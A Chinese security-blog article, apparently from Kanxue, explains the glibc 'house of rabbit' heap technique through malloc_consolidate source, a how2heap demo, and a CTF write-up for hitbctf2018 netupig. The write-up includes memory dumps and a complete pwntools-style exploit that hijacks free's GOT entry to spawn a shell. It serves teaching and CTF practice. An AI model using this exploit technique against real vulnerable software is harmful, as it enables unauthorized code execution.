一
简介
漏洞成因
overflow write
、use after free
适用范围
2.23
——2.26
0x400
大小的堆分配fastbin
的fd
或者size
域malloc_consolidate
函数,当检测到有fastbin
的时候,会取出每一个fastbin chunk
,将其放置到unsortedbin
中,并进行合并。fd
为例,利用过程如下:chunk A
、chunk B
,其中chunk A
的大小位于fastbin
范围chunk A
,使其进入到fastbin
use after free
,修改A->fd
指向地址X
,需要伪造好fake chunk
,使其不执行unlink
或者绕过unlink
chunk
,或者释放0x10000
以上的chunk
,只要能触发malloc_consolidate
即可fake chunk
被放到了unsortedbin
,或者进入到对应的smallbin/largebin
fake chunk
进行读写即可相关技巧
2.26
加入了unlink
对presize
的检查2.27
加入了fastbin
的检查house of rabbit
是对malloc_consolidate
的利用。因此,不一定要按照原作者的思路来,他的思路需要满足的条件太多了。利用效果
二
实验:how2heap - fastbin dup consolidate
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
void main() {
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
puts("This is a powerful technique that bypasses the double free check in tcachebin.");
printf("Fill up the tcache list to force the fastbin usage...n");
void *ptr[7];
for(int i = 0; i < 7; i++)
ptr[i] = malloc(0x40);
for(int i = 0; i < 7; i++)
free(ptr[i]);
void* p1 = calloc(1,0x40);
printf("Allocate another chunk of the same size p1=%p n", p1);
printf("Freeing p1 will add this chunk to the fastbin list...nn");
free(p1);
void* p3 = malloc(0x400);
printf("Allocating a tcache-sized chunk (p3=%p)n", p3);
printf("will trigger the malloc_consolidate and mergen");
printf("the fastbin chunks into the top chunk, thusn");
printf("p1 and p3 are now pointing to the same chunk !nn");
assert(p1 == p3);
printf("Triggering the double free vulnerability!nn");
free(p1);
void *p4 = malloc(0x400);
assert(p4 == p3);
printf("The double free added the chunk referenced by p1 n");
printf("to the tcache thus the next similar-size malloc willn");
printf("point to p3: p3=%p, p4=%pnn",p3, p4);
}
0x55555555b8d0 0x0000000000000000 0x0000000000000051 ........Q....... <-- fastbins[0x50][0]
0x55555555b8e0 0x000000055555555b 0x0000000000000000 [UUU............
0x55555555b8f0 0x0000000000000000 0x0000000000000000 ................
0x55555555b900 0x0000000000000000 0x0000000000000000 ................
0x55555555b910 0x0000000000000000 0x0000000000000000 ................
0x55555555b920 0x0000000000000000 0x00000000000206e1 ................ <-- Top chunk
malloc_consolidate 做了哪些事情?
static void malloc_consolidate(mstate av)
{
mfastbinptr *fb; /* current fastbin being consolidated */
mfastbinptr *maxfb; /* last fastbin (for loop control) */
mchunkptr p; /* current chunk being consolidated */
mchunkptr nextp; /* next chunk to consolidate */
mchunkptr unsorted_bin; /* bin header */
mchunkptr first_unsorted; /* chunk to link to */
/* These have same use as in free() */
mchunkptr nextchunk;
INTERNAL_SIZE_T size;
INTERNAL_SIZE_T nextsize;
INTERNAL_SIZE_T prevsize;
int nextinuse;
// 设置 av->have_fastchunks 为 false(0)
atomic_store_relaxed(&av->have_fastchunks, false);
// 取出 unsortedbin chunk
unsorted_bin = unsorted_chunks(av);
/*
Remove each chunk from fast bin and consolidate it, placing it
then in unsorted bin. Among other reasons for doing this,
placing in unsorted bin avoids needing to calculate actual bins
until malloc is sure that chunks aren't immediately going to be
reused anyway.
移除fastbin中的chunk,然后合并,放到unsortedbin
*/
// 取出最大的 fastbin
maxfb = &fastbin(av, NFASTBINS - 1);
// 取出最小的 fastbin
fb = &fastbin(av, 0);
do
{
p = atomic_exchange_acq(fb, NULL);
// 从最小的fb到最大的fb进行遍历,有chunk就进入处理
if (p != 0)
{
// 遍历每一个 fastbin chunk
do
{
{
// 安全检查:p 需要是内存对齐的
if (__glibc_unlikely(misaligned_chunk(p)))
malloc_printerr("malloc_consolidate(): "
"unaligned fastbin chunk detected");
// 获取 fastbin 索引
unsigned int idx = fastbin_index(chunksize(p));
// 安全检查:该fastbin的大小检查,不能是其他大小
if ((&fastbin(av, idx)) != fb)
malloc_printerr("malloc_consolidate(): invalid chunk size");
}
// 检查 prev_inuse 位为 1
check_inuse_chunk(av, p);
// 解密 next 指针,拿到next chunk地址
nextp = REVEAL_PTR(p->fd);
/* Slightly streamlined version of consolidation code in free() */
// 轻量线性版本的free()的consolidation
// 获取大小
size = chunksize(p);
// 获取next chunk 及其 size
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);
// 如果prev_inuse==0,意味着上一个chunk是空闲的normal chunk,向上(低地址)合并
if (!prev_inuse(p))
{
// 获取 prev_size,计算合并后大小 size,获取prev chunk ptr
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long)prevsize));
// 安全检查:如果chunk size和next chunk 的 prev_size不一致,报错
if (__glibc_unlikely(chunksize(p) != prevsize))
malloc_printerr("corrupted size vs. prev_size in fastbins");
// 双链表断链 prev chunk
unlink_chunk(av, p);
}
// 如果下一个chunk不是top chunk
if (nextchunk != av->top)
{
// 判断再下一个chunk的prev_inuse
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
// 如果是0,表示next chunk是空闲的
if (!nextinuse)
{
// 大小合并,断链
size += nextsize;
unlink_chunk(av, nextchunk);
}
else // 清除next chunk的prev_inuse位
clear_inuse_bit_at_offset(nextchunk, 0);
// 插入到 unsortedbin 的前面
// 取出unsortedbin中的第一个
first_unsorted = unsorted_bin->fd;
// 第一个设置成新的chunk
unsorted_bin->fd = p;
// 原本第一个的上一个设置成新的chunk
first_unsorted->bk = p;
// 如果是largebin size chunk,就清空nextsize位
if (!in_smallbin_range(size))
{
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
// 设置标志位,完成插入操作
set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}
// 如果下一个chunk是top chunk
else
{ // 合并到top chunk
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}
} while ((p = nextp) != 0);
}
} while (fb++ != maxfb);
}
av->have_fastchunks
为falsea.如果不是top chunk,就插入到unsortedbin的前面
b.如果是top chunk,就合并到top chunk中
进入 malloc_consolidation 的条件是什么?
_int_malloc
中,当不能从fastbin
中申请,且申请大小不属于small size
时,如果当前arena
有fastbin chunk
,就会进行调用:else
{
// largebin 中取出
idx = largebin_index(nb);
if (atomic_load_relaxed(&av->have_fastchunks))
malloc_consolidate(av);
}
_int_malloc
中,当无法通过top chunk
分配,且arena
中有fastbin chunk
时,就会进行调用:else if (atomic_load_relaxed(&av->have_fastchunks))
{
malloc_consolidate(av); // 合并操作
/* restore original bin index */
// 保存原本bin索引
if (in_smallbin_range(nb))
idx = smallbin_index(nb);
else
idx = largebin_index(nb);
}
_int_free
中,释放到unsortedbin
进行consolidation
的过程中,在向前向后合并完成了以后,如果合并的大小超过0x10000
,就检测fastbin chunk并进行合并:if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) // 阈值:65536
{
// 如果fastbins存在,就合并
if (atomic_load_relaxed(&av->have_fastchunks))
malloc_consolidate(av);
fastbin chunk 进行合并有哪些安全检查?
二
实验:hitbctf2018 - netupig
这个实验我做了2天,还是思想太局限了,没收集好题目给出的信息,就在硬做,看到大佬的exp,恍然大悟,实在精彩!精彩!
题目分析
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int choose; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
sub_4008DC(a1, a2, a3);
sub_400950();
while ( 1 )
{
__isoc99_scanf("%d", &choose);
getchar();
switch ( choose )
{
case 2:
fp_free();
break;
case 3:
fp_edit();
break;
case 1:
fp_malloc(); // 1:0x10
// 2:0x80
// 3:0xa00000
break;
}
}
}
__int64 fp_malloc()
{
__int64 size; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 i; // [rsp+8h] [rbp-18h]
void *p; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
__isoc99_scanf("%lu", &size);
getchar();
switch ( size )
{
case 1LL:
p = malloc(0x10uLL);
break;
case 2LL:
p = malloc(0x80uLL);
break;
case 3LL:
p = malloc(0xA00000uLL);
break;
case 13337LL:
if ( g_tag == 1 )
return 0xFFFFFFFFLL;
p = malloc(0xFFFFFFFFFFFFFF70LL); // 有大用!
g_tag = 1;
break;
}
if ( !p )
return 0xFFFFFFFFLL;
fp_read(p, 8LL);
for ( i = 0LL; i <= 9 && *(&ptr + i); ++i )
;
if ( i == 10 )
exit(0);
*(&ptr + i) = p;
return 0LL;
}
__int64 fp_edit()
{
unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
__isoc99_scanf("%d", &index);
getchar();
if ( index >= 0xA )
return 0xFFFFFFFFLL;
fp_read(*(&ptr + (int)index), 8LL); // 存在WAF
fp_read(&g_buffer, 48LL);
return 0LL;
}
__int64 fp_free()
{
unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
__isoc99_scanf("%d", &index);
getchar();
if ( index >= 0xA )
return 0xFFFFFFFFLL;
free(*(&ptr + (int)index)); // 没有清0指针,可能存在double-free,UAF
return 0LL;
}
.bss:00000000006020C0 ; void *ptr
.bss:00000000006020C0 ptr dq 0Ch dup(?) ; DATA XREF: fp_malloc+E8↑r
.bss:00000000006020C0 ; fp_malloc+113↑w ...
.bss:0000000000602120 g_buffer dq 6 dup(?) ; DATA XREF: fp_edit+67↑o
.bss:0000000000602150 dd ?
思路分析 & malloc 全流程简述
0xFFFFFFFFFFFFFF70LL
大小和0xA00000uLL
大小内存的功能(当时我还不懂,后来发现这是整个利用的核心)0xA00000uLL
是个提示,回顾一下libc 2.23下malloc的过程:-largebin中最大的chunk范围是0x80000 - ∞
-从largebin中分配不检查申请大小是否超出系统内存
0xA00000
给出的提示就是要用到largebin去分配巨大的0xFFFFFFFFFFFFFF70LL
内存,通过分割来获得能覆盖指针数组的chunk0xA00010
且大于0x80000
,使该chunk通过sort过程进入largebin。/bin/sh
的chunk,拿到shell。利用 malloc consolidation
# trigger top grow
add(3,'0')
dele(0)
add(3,'1')
dele(1)
add(1,'2')
dele(2)
payload = flat({
0x00:pack(0)+pack(0x00),
0x10:pack(0)+pack(0x11),
0x20:pack(0)+pack(1)
})
edit(2,pack(0x602130),payload)
# malloc consolidation
add(3,'3')
0xa00000
的chunk,并释放掉,目的是:**av->system_mem**
(后面探讨原因,见后文:探讨2)-申请1个释放掉也行
-申请释放再申请这个大小的内存的时候,会触发top grow(后面探讨为什么,见后文:探讨1)
pwndbg> bin
fastbins
0x20: 0x245a000 —▸ 0x602130 ◂— 0x0
pwndbg> dq 0x6020b0 30
00000000006020b0 0000000000000000 0000000000000000where i need to get a remainder chunk
00000000006020c0 00007f6f978dd010 000000000245a010ptr array
00000000006020d0 000000000245a010 0000000000000000
00000000006020e0 0000000000000000 0000000000000000
00000000006020f0 0000000000000000 0000000000000000
0000000000602100 0000000000000000 0000000000000000
0000000000602110 0000000000000000 0000000000000000
0000000000602120 0000000000000000 0000000000000000buffer
0000000000602130 0000000000000000 0000000000000011
0000000000602140 0000000000000000 0000000000000001
0000000000602150 0000000000000000 0000000000000000
malloc consolidation 过程
pwndbg> bin
fastbins
empty
unsortedbin
all: 0x602130 —▸ 0x7f6f986a2b78 (main_arena+88) ◂— 0x602130 /* '0!`' */
smallbins
empty
largebins
empty
准备 Largebin chunk
# let this chunk into largebin,max range
payload = flat({
0x00:pack(0)+pack(0x00),
0x10:pack(0)+pack(0xa00001),
})
edit(2,b'/bin/sh',payload)# perpare for hijack free function later
add(3,'4')
pwndbg> dq 0x6020b0 30
00000000006020b0 0000000000000000 0000000000000000
00000000006020c0 00007f4c518ef010 0000000000c32010
00000000006020d0 0000000000c32010 0000000000c32010
00000000006020e0 0000000001632020 0000000000000000
00000000006020f0 0000000000000000 0000000000000000
0000000000602100 0000000000000000 0000000000000000
0000000000602110 0000000000000000 0000000000000000
0000000000602120 0000000000000000 0000000000000000
0000000000602130 0000000000000000 0000000000a00001largebin chunk
0000000000602140 00007f4c526b5348 00007f4c526b5348
0000000000602150 0000000000602130 0000000000602130
pwndbg> bin
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
0x80000-∞: 0x602130 —▸ 0x7f4c526b5348 (main_arena+2088) ◂— 0x602130 /* '0!`' */
申请超大内存控制指针数组
# forgery prev_size & size (unlink process check this)
payload = flat({
0x00:pack(0xfffffffffffffff0)+pack(0x00),
0x10:pack(0)+pack(0xfffffffffffffff1),
})
edit(4,'4',payload)
add(13337,'5')
0xFFFFFFFFFFFFFF70LL
大小的内存之后,remainder chunk至少位于0x6020b0
0xFFFFFFFFFFFFFF70 + 0x80 = fffffffffffffff0
即可(注意unlink的时候会计算next chunk检查prev_size)pwndbg> dq 0x6020b0 30
00000000006020b0 0000000000000000 0000000000000000will be remainder chunk
00000000006020c0 00007f1308860010 0000000000e45010ptr array
00000000006020d0 0000000000e45010 0000000000e45010
00000000006020e0 0000000001845020 0000000000000000
00000000006020f0 0000000000000000 0000000000000000
0000000000602100 0000000000000000 0000000000000000
0000000000602110 0000000000000000 0000000000000000
0000000000602120 fffffffffffffff0 0000000000000000prev_size
0000000000602130 0000000000000000 fffffffffffffff1largebin chunk
0000000000602140 00007f1309626348 00007f1309626348
0000000000602150 0000000000602130 0000000000602130
0000000000602160 0000000000000000 0000000000000000
0000000000602170 0000000000000000 0000000000000000
0000000000602180 0000000000000000 0000000000000000
0000000000602190 0000000000000000 0000000000000000
pwndbg> dq 0x6020b0 30
00000000006020b0 0000000000000000 0000000000000071unsortedbin chunk
00000000006020c0 00007f1309625b78 00007f1309625b78ptr array
00000000006020d0 0000000000e45010 0000000000e45010
00000000006020e0 0000000001845020 0000000000602140
00000000006020f0 0000000000000000 0000000000000000
0000000000602100 0000000000000000 0000000000000000
0000000000602110 0000000000000000 0000000000000000
0000000000602120 0000000000000070 0000000000000000
0000000000602130 0000000000000000 ffffffffffffff81
0000000000602140 00007f1309626335 00007f1309626348
0000000000602150 0000000100602130 0000000000602130
0000000000602160 0000000000000000 0000000000000000
0000000000602170 0000000000000000 0000000000000000
0000000000602180 0000000000000000 0000000000000000
0000000000602190 0000000000000000 0000000000000000
劫持 got['free'] 函数
add(1,pack(elf.got['free']))
edit(0,pack(elf.sym.system),pack(0x70))
dele(2)
pwndbg> dq 0x6020b0 30
00000000006020b0 0000000000000000 0000000000000021
00000000006020c0 0000000000602018 00007f4df317bbd8got['free']
00000000006020d0 0000000001cb1010 0000000000000051
00000000006020e0 00007f4df317bb78 00007f4df317bb78
00000000006020f0 00000000006020c0 0000000000000000
0000000000602100 0000000000000000 0000000000000000
0000000000602110 0000000000000000 0000000000000000
0000000000602120 0000000000000070 0000000000000000
0000000000602130 0000000000000000 ffffffffffffff81
0000000000602140 00007f4df317c335 00007f4df317c348
0000000000602150 0000000100602130 0000000000602130
0000000000602160 0000000000000000 0000000000000000
0000000000602170 0000000000000000 0000000000000000
0000000000602180 0000000000000000 0000000000000000
0000000000602190 0000000000000000 0000000000000000
/bin/sh
的指针进行free:pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1cb1000
Size: 0xa00010 (with flag bits: 0xa00011)
pwndbg> x/s 0x000000001cb1010
0x1cb1010: "/bin/sh"
完整EXP
from pwncli import *
cli_script()
set_remote_libc('libc-2.23.so')
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def cmd(i, prompt=''):
sleep(0.1)
#sla(prompt, i)
sl(i)
sl('')
# 1 0x10
# 2 0x80
# 3 0xA0000
def add(nb,content):
cmd('1')
sl(str(nb))
# sl('')
s(content[:7])
#......
def edit(idx,content,content2):
cmd('3')
sl(str(idx))
s(content[:7])
s(content2[:47])
def dele(idx):
cmd('2')
sl(str(idx))
sl('')
#......
# ====================
# 思路,最终通过13337申请的巨大内存,覆盖到指针数组上
# 需要一个大小巨大的chunk在buffer中,通过malloc consolidation
ru('test')
# trigger top grow
add(3,'0')
dele(0)
add(3,'1')
dele(1)
add(1,'2')
dele(2)
payload = flat({
0x00:pack(0)+pack(0x00),
0x10:pack(0)+pack(0x11),
0x20:pack(0)+pack(1)
})
edit(2,pack(0x602130),payload)
# malloc consolidation
add(3,'3')
# let this chunk into largebin,max range
payload = flat({
0x00:pack(0)+pack(0x00),
0x10:pack(0)+pack(0xa00001),
})
edit(2,b'/bin/sh',payload)
add(3,'4')
# forgery prev_size & size (unlink process check this)
payload = flat({
0x00:pack(0xfffffffffffffff0)+pack(0x00),
0x10:pack(0)+pack(0xfffffffffffffff1),
})
edit(4,'4',payload)
add(13337,'5')
add(1,pack(elf.got['free']))
edit(0,pack(elf.sym.system),pack(0x70))
dele(2)
ia()
探究1:为什么第二个0xa00000 chunk的申请会通过top grow来分配?
if (av == NULL || ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max)))
{
char *mm; /* return value from mmap call*/
try_mmap:
pwndbg> p/x nb
$1 = 0xa00010
pwndbg> p/x mp_
$2 = {
trim_threshold = 0x20000,
top_pad = 0x20000,
mmap_threshold = 0x20000,
arena_test = 0x8,
arena_max = 0x0,
n_mmaps = 0x0,
n_mmaps_max = 0x10000,
max_n_mmaps = 0x0,
no_dyn_threshold = 0x0,
mmapped_mem = 0x0,
max_mmapped_mem = 0x0,
max_total_mem = 0x0,
sbrk_base = 0x0
}
mp_.mmap_threshold
的值为初始值:0x20000
,小于申请大小nb,mmap数量也没超过上限,就会进入mmap的流程,映射一块内存分配下来pwndbg> p/x mp_
$1 = {
trim_threshold = 0x1402000,
top_pad = 0x20000,
mmap_threshold = 0xa01000,
arena_test = 0x8,
arena_max = 0x0,
n_mmaps = 0x0,
n_mmaps_max = 0x10000,
max_n_mmaps = 0x1,
no_dyn_threshold = 0x0,
mmapped_mem = 0x0,
max_mmapped_mem = 0xa01000,
max_total_mem = 0x0,
sbrk_base = 0x0
}
mp_.mmap_threshold
的值发生了变化,在这两次申请内存之间只间隔了一个free,问题应该就出现在free中。libc_hidden_def(__libc_malloc)
void __libc_free(void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
void (*hook)(void *, const void *) = atomic_forced_read(__free_hook);
if (__builtin_expect(hook != NULL, 0))
{
(*hook)(mem, RETURN_ADDRESS(0));
return;
}
if (mem == 0) /* free(0) has no effect */
return;
p = mem2chunk(mem);
if (chunk_is_mmapped(p)) /* release mmapped memory. */
{
/* see if the dynamic brk/mmap threshold needs adjusting */
if (!mp_.no_dyn_threshold && p->size > mp_.mmap_threshold && p->size <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize(p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE(memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk(p);
return;
}
ar_ptr = arena_for_chunk(p);
_int_free(ar_ptr, p, 0);
}
mp_.mmap_threshold
的大小,这意味着,小于该大小的chunk将不再通过mmap进行分配。探讨2:关于为何需要提升 av->system_mem
if (__builtin_expect(victim->size <= 2 * SIZE_SZ, 0) || __builtin_expect(victim->size > av->system_mem, 0))
malloc_printerr(check_action, "malloc(): memory corruption",
chunk2mem(victim), av);
av->system_mem
,它会在top grow之后进行累加,在sysmalloc函数中,heap grow之后有这么一段:if ((long)(MINSIZE + nb - old_size) > 0 && grow_heap(old_heap, MINSIZE + nb - old_size) == 0)
{
av->system_mem += old_heap->size - old_heap_size;
arena_mem += old_heap->size - old_heap_size;
set_head(old_top, (((char *)old_heap + old_heap->size) - (char *)old_top) | PREV_INUSE);
}
av->system_mem
中,表示现在系统中可用的内存有这么大。av->system_mem
的大小,方式就是触发heap grow。参考资料
看雪ID:selph
https://bbs.kanxue.com/user-home-988863.htm
#
原文始发于微信公众号(看雪学苑):堆利用详解:the house of rabbit
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论